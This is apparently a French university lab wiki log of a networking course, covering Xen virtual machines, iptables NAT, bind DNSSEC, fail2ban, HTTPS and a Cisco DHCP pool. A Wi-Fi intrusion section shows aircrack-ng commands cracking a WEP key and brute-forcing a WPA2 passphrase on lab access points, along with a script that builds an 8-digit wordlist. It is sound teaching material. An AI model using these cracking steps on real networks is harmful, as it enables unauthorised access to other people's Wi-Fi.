&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12187</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12187"/>
		<updated>2026-02-10T16:05:32Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
&lt;br /&gt;
